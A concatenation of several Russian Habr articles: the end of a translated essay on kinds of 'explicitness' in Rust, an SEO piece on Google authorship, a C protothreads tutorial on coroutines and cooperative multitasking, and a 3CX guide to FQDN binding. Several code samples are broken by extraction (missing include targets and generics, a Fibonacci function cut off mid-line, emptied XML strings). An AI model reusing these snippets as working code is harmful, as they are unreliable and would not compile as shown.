* Структура `TennisBall` не имеет полей, и оптимизатор просто выкинет ее при сборке.
* Я знаю, что ссылки в `Fetch` будут указателями на `Park` и `Doggo`.
* Принимая во внимание требования по выравниванию данных на моем процессоре, я могу довольно точно прикинуть размеры структур.
Примером неявности (в контексте приведенном выше), может служить точный порядок полей в этих структурах. Rust специально не определяет порядок полей в структуре, чтобы в зависимости от ситуации можно было оптимизировать её, переставив поля некоторым образом. Обычно вам и не нужно знать этот порядок, разве что при работе с `unsafe`-кодом.
Я бы сказал что подобная явность многих аспектов вашего кода обычно очень полезна и является сильной стороной Rust'а. Но надо помнить, что ради ее поддержания приходится идти на компромиссы: например, компилятор не может самовольно перенести данные из стека в кучу во время оптимизаций.
Все же это очень узкое определение явности. Оно значит, что имея под рукой исходный код, я могу ответить на некоторые вопросы, касающиеся этой программы. Теперь я хочу разбить понятие "явность" на несколько более конкретных понятий и рассмотреть, как они описывают возможности языка.
Другие значения слова "явный"
=============================
Явный — не значит шумный (verbose)
----------------------------------
При обсуждениях введения более легковесного синтаксиса, я часто вижу, как некоторые пользователи заявляют о его меньшей явности. Хотя до тех пор, пока код содержит в себе необходимую информацию, код является "явным" в обозначенном мной выше смысле. Так что это свойство я называю **"шумность"**.
Одним из примеров является введение в язык оператора `?`, который немного короче предыдущего макроопределения `try!`. Некоторые пользователи высказывали опасения, что из-за данного оператора будет проще проглядеть ранний выход из функции. В данном случае они хотели, чтобы синтаксис был более шумен, а не просто явен.
Я считаю, что все точки возврата из функции должны быть явными, но не обязательно шумными. Т.е., если я хочу выяснить, как функция возвращает значение, я должен иметь возможность это сделать, но это совсем не самое первое, на что я стану обращать внимание при чтении кода. Наоборот, особенно при пробрасывании ошибок по стеку через оператор `?`, ранний выход вообще мало мне интересен при чтении кода.
Явный — не значит "обременительный"
-----------------------------------
Иногда пользователи говорят, что синтаксис некой ресурсоемкой операции должен быть тяжеловесным, чтобы отбить охоту лишний раз ей пользоваться. Например, пользователи могут считать достоинством языка меньшую элегантность создания объекта в куче по сравнению с созданием на стеке.
Часто в таких спорах используется слово "явность", хотя подобная "синтаксическая соль" совершенно ей ортогональна. На самом деле речь идет о большей **"тяжеловесности"** конструкций с целью показать нежелательность ее использования. Например, **можно представить себе** атрибут `[repr(boxed)]`, который означал бы что экземпляры типа всегда выделятся в куче. Это могло бы быть довольно удобной формой записи распространенного шаблона:
```
struct Catters {
inner: Box,
}
struct CattersInner {
color: Color,
pounces: u32,
naps: u32,
meows: u32,
}
// С repr(boxed) это становится единой структурой:
#[repr(boxed)]
struct Catters {
color: Color,
pounces: u32,
naps: u32,
meows: u32,
}
```
Такой атрибут не сделает код менее явным: вы по прежнему можете посмотреть на определение `Catters` и сразу увидеть ровно ту же информацию о том как она размещается в памяти. Однако, такой атрибут и правда сильно облегчает размещение данных типа в куче.
Как и раньше, лично я не считаю, что написание кода для размещения переменных в куче должно быть обременительным. Мне не кажется, что размещение данных в куче должно быть поведением по умолчанию, но есть и не так мало ситуаций, когда размещение в куче предпочтительней размещения в стеке. Поэтому нам не следует раздражать пользователей или тем более давать им повод думать, что они что-то делают не так.
Явный — не значит ручной
------------------------
Также слово "явный" иногда используется для указания на необходимость написания кода для того, чтобы что-то случилось. Хотя, если что-то происходит четко определенным образом и информацию об этом легко получить из исходного кода, это опять же "явно" в приведенном мною ранее узком смысле. Вместо этого следует говорить, что некоторые действия являются **ручными**, так как пользователям необходимо явно затребовать желаемое поведение.
Например, **представим себе** версию Rust, в которой `drop` надо вызывать вручную (заметим, что в текущем Rust вы не можете вызывать этот метод, однако для примера допустим, что он принимает self по значению). На самом деле это даже безопасно, потому что Rust все равно не жестко гарантирует вызов деструкторов.
```
fn string_processing(string: String, numbers: &mut Vec) {
substrings = string.split\_whitespace().filter(|s| s.starts\_with('$'));
for substring in substring {
let n = substring.parse().unwrap();
numbers.push(n);
}
// Нужно вызвать явно, иначе память строки "утечет"
string.drop();
}
```
Если вы удалите строчку вызова `drop`, то выделенная для строки память утечет. Думаю что всем очевидно, что такой подход был бы хуже. Нет ничего плохого в автоматическом вызове деструкторов, потому что всегда можно понять, когда это произойдет, просто отследив окончание области видимости переменной.
Явный — не значит локальный
---------------------------
Еще в некоторых случаях под словом "явность" пользователи подразумевают явность внутри определённого участка кода. Это значит, что какая-то информация о коде должна быть понятна из изучения только определенной его части. Причем, она может быть любого размера — модуль, функция, выражение, и т. д. Если что-то явно на определенном участке исходного кода, то это не значит, что оно явно везде — слово **"локальный"** здесь гораздо уместнее.
Неявной возможностью Rust, которая в то же время не локальна, является разрешение методов. Посмотрите на код:
```
fn main() {
let mut vec = vec![0, 1, 2];
let x = vec.len();
vec.extend([x, x + 1]);
for elem in vec.into_iter() {
println!("{}", elem)
}
}
```
В данной функции мы вызываем три разных метода вектора — `len`, `extend` и `into_iter`. Каждый из которых принимает `self` по-своему (по ссылке, по изменяемой ссылке и по значению). Два метода определены для самой структуры `Vec`, а один — из типажа `Extend`. Ничто из этой информации не видно при взгляде только на приведенную функцию, однако все это становится "явным" при рассмотрении `impl` блоков у `Vec`.
Напротив, оператор `?` обладает такой локальностью. Можно представить, что ко всем функциям, возвращающим `Result`, которые вызываются из функции, которая тоже возвращает `Result`, автоматически применялся бы оператор `?` (так работают исключения в подобных Java языках). Но мы решили, что не должно быть необходимости смотреть на интерфейс функции что бы понять, будет ли внутри нее работать неявный ранний выход. Думаю, что это хороший пример полезной локальности.
Заключение
----------
В общем, если во время обсуждения вы собираетесь использовать слово "явный", то подумайте, не стоит ли вам более точно сказать, что вы имеете в виду:
* Если вас заботит, является ли что-то достаточно очевидным, возможно вам стоит использовать слова **"шумный"** или **"очевидный"** (и обязательно пояснить почему вы считаете это важным!).
* Если вы думаете, что стоит усложнить использование операции, возможно вам стоит называть это **"обременительным"** или **"тяжеловесным"** (и обязательно объясните, почему вы считаете что это действие не должно быть слишком удобным!).
* Если вы считаете, что пользователи должны вызывать необходимую логику вручную (а не чтобы она случалась автоматически при определенных условиях или событиях), возможно вам стоит называть ее **"ручной"** или **"явно вызываемой"** (opt-in) (и объясните, почему вы считаете, что она должна быть ручной!).
* Если вы думаете, что некая информация должна быть видимой в определенном участке кода, возможно вам стоит говорить о **локальности** в данном **контексте** (Опять же объясните, почему по-вашему это важно!).
Каждый из этих терминов — явный, шумный, тяжеловесный, ручной, локальный — является уместным для употребления в некоторых случаях, и неуместным в других. Почти всегда при выборе подхода к реализации функциональности требуется идти на компромиссы. Одним из способов определиться с выбором может являться рассмотрение, как он повлияет на (объясненный Аароном) [размер контекста](https://blog.rust-lang.org/2017/03/02/lang-ergonomics.html).
Так что я прошу вас в следующий раз, когда вы будуте обсуждать явность какой-то функциональности языка, точнее укажите о каком именно виде явности вы беспокоитесь и четко объясните, почему именно вы считаете ваше предложение более разумным.
*Большое спасибо всем из сообщества rustycrate, кто участвовал в переводе, вычитке и радактировании данной статьи. А именно: [bmusin](https://habrahabr.ru/users/bmusin/), [mkpankov](https://habrahabr.ru/users/mkpankov/), [vitvakatu](https://habrahabr.ru/users/vitvakatu/) и [sasha\_gav](https://habrahabr.ru/users/sasha_gav/).* | https://habr.com/ru/post/348282/ | null | ru | null |
# Взгляд новичка. Что представляет собой Google авторство сегодня?
Результативность использования инструментов [Paysto](https://paysto.com/) напрямую зависит от эффективности представления вашего проекта в сети и ранжирования его поисковыми системами. Поэтому мы стараемся предоставить нашим читателям интересную и полезную информацию, которая касается SEO-сферы. Во время работы над прошлой статьей мы заинтересовались понятием Google-авторства и его ролью в современном SEO, вот небольшой итог нашего анализа различных публикаций на эту тему.
В июне 2011 года Google анонсировал поддержку тега `для определения авторства контента. С тех пор эта функция не играла какой-то серьезной роли в плане SEO. Скорее это стало инструментом, который позволяет пользователю ознакомиться с другими статьями от автора понравившегося ему контента. В декабре 2013 года ситуация начала меняться, что в первую очередь отразилось на тех, кто успел стать частью системы. После изменения алгоритма вычисления ранга автора в Google, фотографии около 15% авторов перестали отображаться поисковой системой. Мы решили разобраться, почему же это произошло и что собой представляет систем Google авторства с точки зрения SEO, тем более что оно было отнесено к самым перспективным направлениям SEO в 2014 году.
##### Зачем это было сделано:
Авторство была создана с целью закрепления за писателем его контента, а также позволяла использовать поисковую систему для того чтобы найти материал, написанный определенным автором. Кроме того, это значительный шаг в направлении установки четких критериев оценки объективности и достоверности предложенной информации, если статья написана автором с высоким рейтингом то, в теории, вам не нужно тратить время на поиск подтверждения или опровержения его утверждений. Также, в теории, контент написанный высокоуровневым автором должен положительно влиять на ранжирование сайта поисковой системой.
Еще одним преимуществом является то, что особенный способ отображения результатов поиска, которые визуально отличаются от основной массы, приносит большее количество кликов, чем обычная строка среди результатов поиска.
##### Что произошло в декабре 2013 года?
Видимо, команда Google решила всерьез заняться этим инструментом и сурово изменила алгоритм вычисления рейтинга автора. Мэтт Каттс заявил, что удаление 15% авторов с низким рейтингом значительно увеличит объем качественного контента среди результатов поисков. Кроме того были объявлены критерии, по которым теперь оценивается рейтинг автора:
- Репутация сайта. Чем выше рейтинг сайта в поисковой системе Google, тем большее количество «очков» автору приносит публикация материала, размещенная на «авторитетном» сайте. Т.е. сайт на котором вы публикуетесь, должен иметь отличную историю в Google, не иметь санкций и наказаний, в общем, соответствовать всем параметрам «идеального» сайта от Google.
- Социальная реакция. Ваш аккаунт Google+ начинает обретать весомое значение. Чем больше плюсов имеет ваша запись в G+, тем больший «плюс» вы получите для своего рейтинга автора. Кроме того, в изначальном алгоритме, имело значение количество ваших кругов в G+ и Youtube. При этом абсолютно непонятно, какое значение имеет реакция на ваш контент в других социальных сетях, скорее всего никакого.
- Качество контента. Этот критерий учитывает социальную реакцию, кроме того в значительной мере влияет полезность контента, которая будет определяться по таким параметрам, как частота цитирования (к определению веса цитирования также применяются критерии оценки сайта на котором размещена ссылка на исходный контент) и «настроение» отзывов, т.е. оценка количества положительных и отрицательных отзывов пользователей сайта, на котором размещен контент. Видимо, для полноценной работы последнего элемента оценки сайт, на котором будет размещен контент, должен поддерживать функцию оценки контента пользователем в числовом выражении (от 1 до 5 или любая другая шкала).
- Репутация автора. Очень относительный критерий, который, скорее всего завязан на всех остальных критериях, примененных к уже существующему контенту. В первую очередь при подсчете репутации учитываются: высокое качество авторского контента, история публикаций и ее временные параметры.
##### Будущее Google авторства
Джон Мюллер сказал, что «даже если система авторства не будет влиять на ранжирование сайта, это неплохой вариант для того чтобы повысить свою известность и подтвердить достоверность контента».
Еще в 2012 году Мэтт Каттс утверждал, что использование авторства «имеет неоспоримые преимущества», в 2014 он подтвердил, что рейтинг автора используется для ранжирования результатов, но только в разделе «Детальные исследования». В то же время Мэтт подчеркивает, что, скорее всего, в будущем алгоритмы ранжирования Google будут учитывать рейтинг автора наполнения сайта.
На данный момент официальная позиция Google состоит в том, что авторство – это перспективный инструмент, который позволит отсеивать контент низкого качества, улучшать результаты поиска посредством поисковой системы и, даже, бороться с контент-пиратством, что значит, что значение рейтинга автора будет постоянно расти.
##### Что же делать?
Кроме того, что вы должны быть зарегистрированы как автор и соблюдать все необходимее формальности в оформлении вашего контента, необходимо соблюдать несколько простых правил, которые помогут вам постепенно формировать высокий рейтинг:
- Смотрите где вы публикуетесь. По-видимому, репутация сайта, на котором, размещен контент станет одним из ключевых критериев оценки, поэтому для автора жизненно важно тщательно выбирать площадки для своих «подписанных» публикаций. Это не значит, что нужно радикально отказаться от размещения своего контента на молодых сайтах, его можно просто не подписывать. Хотя, каждое конкретное решение о том ассоциировать себя как автора с тем или иным контентом, должно приниматься индивидуально, на основе всех факторов, среди которых репутация сайта, субъективная и объективная ценность вашего рейтинга, цели размещения контента и прочее.
- Пишите качественный контент. Эта простая идея долго и упорно стучится в головы каждого из полчищ интернет-авторов, но пробивается только в единицы, в результате чего, мы видим массу «кривого» контента, который не только не выполняет возложенных на него SEO-функций, а приносит диаметрально противоположные результаты.
- Развивайте активность в G+. На данный момент она имеет огромное значение в формировании рейтинга автора.` | https://habr.com/ru/post/222921/ | null | ru | null |
# Многозадачность в микроконтроллерах на основе продолжений
Программисты C и так не избалованы возможностями языка, а разработчики встроенных систем на микроконтроллерах ограничены еще больше, зачастую их программы работают на голом железе, без поддержки ОС.
Возможность использования в С сопрограмм, генераторов, кооперативной многозадачности часто может сильно упростить программу и сэкономить силы, но эти возможности языка не очевидны и многие про них не знают.
[Продолжения (contionuation)](http://ru.wikipedia.org/wiki/Продолжение) позволяют запомнить состояние выполнения программного потока (функции), и вернуться к этому месту в дальнейшем.
Используя продолжения, мы можем получить [сопрограммы (coroutine)](http://ru.wikipedia.org/wiki/Сопрограмма), а это уже практически готовые [генераторы](http://en.wikipedia.org/wiki/Generator_(computer_programming)), [итераторы](http://ru.wikipedia.org/wiki/Итератор_(программирование)) и [кооперативная многозадачность](http://dic.academic.ru/dic.nsf/ruwiki/648229).
Вот несколько способов реализовать продолжения на С и примеры библиотек, эти способы использующие:
* Сохранение текущего стека и регистров процессора, используя ассемблерные вставки (библиотека coro), либо стандартные POSIX функции сохранения/востановления контекста getcontext/setcontext или сохранения/восстановления стека setjmp/longjmp (библиотеки libpcl, libcoroutine, libconcurrency, libcoro).
* Хитрое применение оператора switch (известное как [«устройство Даффа»](http://ru.wikipedia.org/wiki/Устройство_Даффа)).
Это, например, библиотека protothreads (каноническая [версия от Adam Dunkels](http://www.sics.se/~adam/pt/), и её расширенный [аналог от Larry Ruane](http://code.google.com/p/protothread/)), [библиотка coroutine](http://www.chiark.greenend.org.uk/~sgtatham/coroutines.html) от Simon Tatham, автора PuTTY.
* Расширенния GCC «Переменные меток», (библиотека protothreads).
В статье я рассмотриваю библиотеку [protothreads](http://www.sics.se/~adam/pt/) от Adam Dunkels. Она проста и минималистична, состоит из набора макросов в нескольких заголовочных файлах, совместима с С++. Библиотека содержит в себе всё необходимое, не имеет зависимостей от других библиотек, платформы и компилятора. Не использует динамическую память. Если у Вас gcc, библиотека предоставит дополнительные возможности благодаря применению переменных меток. В общем, эта библиотека мне показалась самой удобной для программирования встроенных приложений, где имеется большое разнообразие архитектур, компиляторов и операционных систем.
Как работает библиотека хорошо описано на её сайте, я приведу только краткое описание API и несколько примеров использования. Конечно, применение библиотеки является всего лишь «синтаксическим сахаром» и всё что она может, можно реализовать с помощью, например, конечных автоматов (собственно говоря, библиотека преобразует ваши функции в неявные конечные автоматы). Но в ряде задач библиотека сокращает объем текста программы, увеличивает линейность, ясность и, как следствие, может уменьшить время разработки и вероятность ошибок. Если Вы решаете задачу с помощью конечного автомата и у Вас десяток и более состояний, многие из них идут последовательно, то, скорее всего, protothreads Вам может сильно упростить жизнь, да и в любом случае полезно иметь альтернативу. По моему опыту, исходный код программы с использованием protothreads примерно на 20 – 50% меньше эквивалентного, написанного с использованием конечных автоматов.
Примеры, приведенные в статье, писались под Windows, работают в MinGW и Visual Studio, но внимание! *В Visual Studio, в конфигурации DEBUG, библиотека protothreads, в том виде как она есть, не компилируется!*
Причина в том, что макрос \_\_LINE\_\_ в конфигурации DEBUG в VS почему-то из константы превращается в вызов функции, это легко лечится, если в файле lc-switch.h заменить
```
#define LC_SET(s) s = __LINE__; case __LINE__:
```
на
```
#define LC_SET(s) s = __COUNTER__+1; case (__COUNTER__):
```
В gcc под все платформы и процессоры библиотека работает без изменений.
Для использования библиотеки необходимо скачать и распаковать .h файлы в Ваш проект и подключить заголовок:
```
#include "pt.h"
```
Итак, что мы можем получить от библиотеки:
#### Продолжения
Сами по себе продолжения не очень полезны, но они являются базой для других программных структур.
Функция с возможностью продолжения объявляется так:
```
int name(struct pt *pt [, дополнительные параметры])
```
или с помощью макроса так:
```
PT_THREAD(name(struct pt *pt [, дополнительные параметры]))
```
аргумент pt является указателем на контекст продолжения, который тем, или иным способом хранит место, где прервалось выполнение функции.
Возвращать результат функция может через дополнительные аргументы, по ссылке.
Перед началом операторов должен быть макрос **PT\_BEGIN(pt)**, в конце потока — **PT\_END(pt)**. Если нужно выполнять какие-то действия при каждом вызове функции — они ставятся до макроса **PT\_BEGIN(pt)**. Это может быть, например, обновление значения таймера, счетчика и т.д.
Команда **PT\_YIELD(pt)** возвращает результат и при следующем вызове функции функция продолжится со следующего оператора.
Прерывания потока (например, в случае ошибки) осуществляется макросом **PT\_EXIT(pt)**. После достижения конца потока или после прерывания(макросы **PT\_END(pt)** и **PT\_EXIT(pt)**, перезапуска командой **PT\_RESTART(pt)**, функция «перематывается» на начало и при следующем вызове начнет работу заново.
Функция возвращает константу — причину прерывания функции: **PT\_WAITING** — ожидание события, **PT\_YIELDED** — возвращение значения, **PT\_EXITED** — выход командой **PT\_EXIT(pt)**, **PT\_ENDED** — функция дошла до конца **PT\_END(pt)**.
Перед первым использованием продолжения необходимо проинициализировать его контекст макросом **PT\_INIT(pt)**.
Переменные, которые должны сохранять свои значения между вызовами должны быть объявлены как static, либо переданы в функцию по ссылке.
#### Генераторы
Когда Вам нужно получить последовательность каких-нибудь данных по сложному алгоритму и способ получения каждого следующего элемента зависит от определенных условий и предыдущих значений, удобно использовать генератор.
Вот пример генерации чисел Фибоначчи:
```
#include "pt.h"
#include
static int fib(struct pt \*pt, int max, int\* res) {
static int a,b;
PT\_BEGIN(pt);
a=0;b=1;
while (a
```
#### Сопрограммы
Классические сопрограммы — это программные потоки, которые могут передавать друг другу управление, с последующим возвратом в место прерывания. Сопрограммы используют в случае, когда среди нескольких программных потоков (функций) непонятно, что должно быть основной программой, а что подпрограммой (Кнут, I том книги «Искусство программирования»). Например, часть Вашей программы как-то производит данные, другая часть как-то их потребляет. Причем и потребитель, и производитель достаточно сложен. Когда Вы пишете программу производителя данных — Вам хочется вызывать потребление данных как функцию, когда у Вас готова часть данных. Но когда Вы программируете потребителя данных — Вам уже хочется сделать потребителя сделать основной программой, а функцию генерации вызывать, когда есть возможность данные получить и обработать. В таком случае вместо отношений программа-подпрограмма вполне уместны отношения сопрограмма-сопрограмма. Можно еще сначала все данные сгенерировать в память, а потом их все сразу потребить, но данных может быть больше чем памяти, особенно это актуально для встроенных систем. Сопрограммы тоже легко получить с помощью продолжений.
Например, нам нужно сгенерировать большое количество xml данных, затем заархивировать их, затем сохранить в файл или передать по сети. Для простоты примера реализуем только генерацию и сохранение. Различные проверки ошибок операций с памятью и файлами также опущены. makeXmlLine – наш производитель. Разбирает входное предложение и при каждом вызове генерирует строку XML. writeXmlLine – потребитель, при каждом вызове сохраняет строку в файл. сопрограммы вызываются поочередно до тех пор, пока сопрограмма производителя не закончится (вернет результат **PT\_EXITED**).
```
#include "pt.h"
#include
#include
#include
static int makeXmlLine(struct pt \*pt, char\* dst, char\* src)
{
static char\* text; // должна быть static чтоб значение не потерялось до выхода из функции
char \* pch;
PT\_BEGIN(pt);
strcpy(dst,"xml version=\"1.0\" encoding=\"Windows-1251\"?");
PT\_YIELD(pt);
strcpy(dst,"");
PT\_YIELD(pt);
text=strdup(src); // strtok портит исходный текст, нужно его сохранить
pch = strtok (text," ,.!?:");
while (pch != NULL){
sprintf(dst," %s",pch);
PT\_YIELD(pt);
pch = strtok (NULL, " ,.!?:");
}
strcpy(dst,"");
PT\_YIELD(pt);
\*dst=0; // Пустая строка будет индикатором того, что поток строк закончился
PT\_YIELD(pt);
free(text);
PT\_END(pt);
}
static int writeXmlLine(struct pt \*pt, char\* fileName, char\* str)
{
static FILE\* file;
PT\_BEGIN(pt);
file=fopen(fileName,"w"); // Ошибки с файлами не обрабатываются для упрощения примера
while(\*str){
fprintf(file,"%s\n",str);
PT\_YIELD(pt);
}
fclose(file);
PT\_END(pt);
}
int main(void)
{
struct pt pt1,pt2;
char xmlString[128];
PT\_INIT(&pt1);
PT\_INIT(&pt2);
// Вызываем по очереди сопрограммы, пока не закончится текст
while (makeXmlLine(&pt1,xmlString, "Hello, world! Pleased to meet you!") < PT\_EXITED)
writeXmlLine(&pt2,"file.xml",xmlString);
return 0;
}
```
#### Многозадачность
Во встраиваемых системах всегда нужно чего-то ждать — прихода данных в порт, освобождения буфера, срабатывания таймера, завершения другой операции, нажатия кнопок, выдерживания паузы и т.д. Использование многозадачности позволяет перейти от асинхронной модели программирования — к синхронной. Уместно это, или нет, зависит от ситуации.
Кооперативная многозадачность легко получается с помощью сопрограмм с несложным диспетчером потоков. В простейшем случае, диспетчер — это бесконечный цикл, последовательно вызывающий сопрограммы. Для более сложных диспетчеров можно реализовать добавление/снятие задач, систему приоритетов и т.д.
Использование многозадачности на основе сопрограмм даёт следующие преимущества перед вытесняющей многозадачностью:
* все операции атомарные, данные не нужно защищать критическим секциями и мьютексами. Примитивы синхронизации потоков или не нужны, или реализуются элементарно, и полностью программно
* низкие накладные расходы на поток. Расход памяти на поток можно ограничить двумя байтами, хранящими точку возврата, у потоков нет собственного стека. Переключение между потоками составляет считанные инструкции процессора в пространстве пользователя. Значит, количество потоков может исчисляться миллионами
* можно заблокировать поток до наступления комбинации из нескольких событий. Например, ожидание любого из событий: пришел пакет данных, или сработал таймер, или пользователь отменил операцию, или возникла ошибка
* заблокированный поток можно прервать, тогда, как стандартные блокирующие операции обычно прервать нельзя
Для многозачности Protothreads предоставляет следующие примитивы:
* макросы **PT\_WAIT\_UNTIL** и **PT\_WAIT\_WHILE** для блокировки потока до наступления определенного события
* макрос **PT\_WAIT\_THREAD**, останавливает поток, пока не окончится другой поток
* макрос **PT\_SPAWN** позволяет одним потоком запустить другой поток с начала и дождаться его завершения
* макрос **PT\_SCHEDULE**, примитив диспетчера потока, выполняет очередной шаг сопрограммы и возвращает, завершила она свою работу или еще нет
* структура **pt\_sem**, **PT\_SEM\_INIT**, **PT\_SEM\_WAIT**, **PT\_SEM\_SIGNAL** — примитивы работы с семафорами, практически бесполезны
Если Вы хотите запустить много одинаковых потоков, передавайте в функцию потока ссылку на структуру, которая хранит все данные и переменные, которые поток должен использовать, для каждого потока свою. Для единственного потока, все переменные можно хранить внутри функции, просто объявив их как static.
Для примера многопоточности сделаем простой консольный Arkanoid под windows (чуть больше 100 строк). Файл на pastebin:[arkanoid.c](http://pastebin.com/sG053ZTc)
У нас будет 3 потока: ракетка, шарик и игровое поле. Еще одна вспомогательная подзадача pauseThread будет делать паузу.
Планировщик будет простой: передаём управление каждому из потоков, потом пауза 10мс. Игра завершается, если любой из потоков завершится (шарик может улететь за поле, или мы можем выбить все кирпичи).
```
while (PT_SCHEDULE(printField(&fieldPt)) && PT_SCHEDULE(controlThr(&ctrlPt)) && PT_SCHEDULE(ballThread(&ballPt)))
Sleep(10);
```
Поток printField сначала создаёт в памяти игровое поле, затем, в цикле, ожидает флага изменения поля и перерисовывает всё поле на экране. Если кирпичи заканчиваются, поток завершается.
Поток controlThr рисует на поле биту, ждет нажатия на кнопку и перемещает биту. Или прерывает игру по нажатию «q».
Поток pauseThread просто выдерживает нужную паузу, сделан для примера вызова одной задачи из другой и помощью **PT\_SPAWN**.
Поток ballThread перемещает шарик по полю с заданной скоростью, выбивая кирпичи и делая отскоки от стен и биты. Этот поток завершается, если мяч вылетает за поле.
*Еще пару советов:*
Если Вы используете gcc, рекомендую перед подключением библиотеки поставить один #define, вот так:
```
#define LC_INCLUDE "lc-addrlabels.h"
#include "pt.h"
```
Это позволит использовать расширение gcc «Labels as Values», и Вы сможете прерывать и переключать поток выполнения внутри оператора switch. В противном случае продолжения сами будут строиться с помощью оператора switch, с Вашим switch-ом они не поладят.
Обратите внимание, что после окончания потока, он автоматически начинается сначала. После того, как **SCHEDULE** вернет 0, нужно либо перестать его вызывать, либо в конце потока заблокировать его навсегда: **PT\_WAIT\_WHILE(pt,1)** | https://habr.com/ru/post/143318/ | null | ru | null |
# Назначение и поддержка FQDN сервера 3CX
У наших пользователей периодически возникают вопросы по поводу назначения и поддержки FQDN сервера 3CX (который теперь может предоставляться компанией 3CX): принципов выбора FQDN, закрепления этого FQDN за лицензионным ключом и т.п. В этой статье мы ответим на многие из вопросов такого рода.
При установке 3CX v15 и 15.5 лицензионный ключ привязывается к FQDN, выбранному администратором на этапе инсталляции сервера. Поэтому весьма важно сразу корректно выбрать FQDN, чтобы потом избежать ненужной работы.
Часто задают вопрос, для чего вообще нужен FQDN для сервера 3CX? Не проще ли обойтись только IP-адресом? Отвечаем:
* Для удаленного безопасного (SSL) подключения клиентов 3CX к веб-сервису, передающего статусы пользователей, историю вызовов, чат, централизованное управление клиентом и другие функции, которые можно назвать общим термином: унифицированные коммуникации.
* Для обеспечения безопасного удаленного доступа в интерфейс управления 3CX
* Для реализации отказоустойчивости, чтобы IP-телефоны могли подключаться на единый FQDN, который может разрешаться как на IP-адрес основного сервера, так и на адрес резервного сервера.
* Работа на динамическом IP-адресе. Если ваш Интернет-провайдер не выдает статического IP-адреса, FQDN от 3CX реализует для вас сервис динамического DNS.
* Обеспечение защиты вашей лицензии. Приобретенная вами лицензия закрепляется за вашим доменом. В случае ее неавторизованного использования невозможно будет пользоваться АТС на этом ключе, т.к. вы сразу увидите, что кто-то использует ваш домен на постороннем IP-адресе.
Сперва рассмотрим выбор FQDN для сервера 3CX при условии, что вы устанавливаете данный лицензионный ключ в первый раз (никакой FQDN еще не привязан) и используете 3CX v15 SP4 или выше.
### Домены от компании 3CX
Пользователи 3CX v15 с активной подпиской на обновления продукта, могут получить публичное доменное имя от компании 3CX в одной из принадлежащих ей доменных зон. Этот сервис предоставляется бесплатно. Кроме доменного имени, пользователи автоматически получают бесплатный доверенный SSL-сертификат для этого FQDN от организации Let’s Encrypt. После того, как вы в процессе инсталляции выберите имя хоста (userpart) 3CX и доменную зону (hostpart), предложенную вам в интерфейсе инсталлятора, сформированный FQDN (userpart.hostpart.tld) привязывается к активированному лицензионному ключу.
Кроме того, создается дополнительный FQDN для сервиса WebMeeting по такому принципу: userpart.hostpart.tld -> userpart-tld.3cx.net
Обычные домены:
```
customer.3cx.de -> customer-de.3cx.net
Customer.3cx.us -> customer-us.3cx.net
```
Домены второго уровня:
```
customer.3cx.co.uk -> customer-uk.3cx.net
customer.3cx.co.nz -> customer-nz.3cx.net
customer.3cx.com.tr -> customer-tr.3cx.net
customer.3cx.co.za -> customer-za.3cx.net
```
Домены-исключения:
```
customer.elastix.com -> customer-ecom.elastix.net
```
Домены городов сокращаются до 3 букв:
```
customer.3cx.barcelona -> customer-bar.3cx.net
```
Поддомены второго уровня:
```
customer.north.3cx.us -> cusomer-north-us.3cx.net
```
3CX оставляет за собой право в любой момент отозвать присвоенный вам FQDN, который имеет следующие признаки:
* Нарушает торговые марки других компаний
* Используется для целей, отличных от хостинга 3CX
* Содержит оскорбления и другой текст такого рода
* Необходима самой компании 3CX (в этом случае 3CX связывается с партнером для корректного переноса FQDN)
Отметим также, что пользователь 3CX не имеет права требовать от 3CX доменное имя, которое уже занято другим пользователем.
Все доменные имена выдаются по мере доступности. Если FQDN не использовался долгое время, он освобождается для других пользователей. В связи с этим не гарантируется, что FQDN, который вы ранее привязывали к своему лицензионному ключу, все еще доступен.
### Собственные домены
Если вы устанавливаете сервер 3CX под собственным корпоративным FQDN (а не выдаваемым компанией 3CX), имейте ввиду, что для этого необходима редакция 3CX Pro или Enterprise. Также вы должны заранее приобрести доверенный SSL-сертификат для этого доменного имени (или wildcard-сертификат для всего домена). К сожалению, бесплатные сертификаты Let’s Encrypt в этом случае не выдаются.
Лицензионный ключ 3CX будет привязан к вашему собственному FQDN, а FQDN портала WebMeeting формируется следующим образом: userpart.hostpart.tld -> userpart-hostpart-tld.3cx.net
Примеры:
```
customer.domain.com -> customer-domain-com.3cx.net
customer.domain.co.uk -> customer-domain-co-uk.3cx.net
pbx.customer.domain-part.co.nz -> pbx-customer-domain-part-co-nz.3cx.net
```
### FQDN бесплатной лицензии 3CX
Бесплатные лицензии 3CX (за исключением партнерских NFR ключей), которые не использовались 3 месяца, отвязываются от связанных с ними FQDN. Затем эти FQDN могут регистрироваться другими пользователями. Если FQDN уже занята другим пользователем, вы увидите сообщение Используется на этапе активации ключа (см. ниже).
### DNS TTL в разных редакциях 3CX
Время кэширования DNS-записей (TTL) зависит от типа вашей лицензии. Для лицензий Standard и Pro оно установлено в 6 часов. Для лицензий Enterprise – 300 сек. Благодаря такому короткому периоду, возможно очень быстрое (до 5 минут) переключение пользователей на IP-адрес резервного сервера, потому что чем меньше TTL, тем быстрее происходит обновление A-записи FQDN на текущий IP-адрес.
### Изменение FQDN
Если вы хотите изменить ваш текущий FQDN, ознакомьтесь с [нашей предыдущей статьей](https://habr.com/company/3cx/blog/329118/).
### Возможные ошибки
Как было сказано, при первой установке инсталлятор 3CX привязывает выбранную вами FQDN к вашему лицензионному ключу. Но если выбранный FQDN уже используется, появится такая ошибка:
```
Error creating FQDN: FQDN already in use. Please choose another one
```
В этом случае просто выберите другую FQDN.
Обратите внимание, что повторные инсталляции 3CX с тем же ключом будут «подтягивать» привязанный к нему FQDN. Если вы укажете другой FQDN, появится ошибка:
```
Error creating FQDN: License key already bound to another FQDN
```
В этом случае нужно зайти в Портал пользователя 3CX и проверить, какой FQDN привязан к ключу. Если привязанный FQDN вас не устраивает, отвяжите его от ключа, а только затем продолжите установку 3CX.
Также возможна следующая странная ошибка:
```
Domain zone XYZ is exhausted and can not be used. Please choose another domain.
```
В этом случае решение только одно – выбор другого домена верхнего уровня. | https://habr.com/ru/post/416055/ | null | ru | null |
# Windows 8: Написание многопоточных приложений для магазина Windows с помощью Intel® Threading Building Blocks
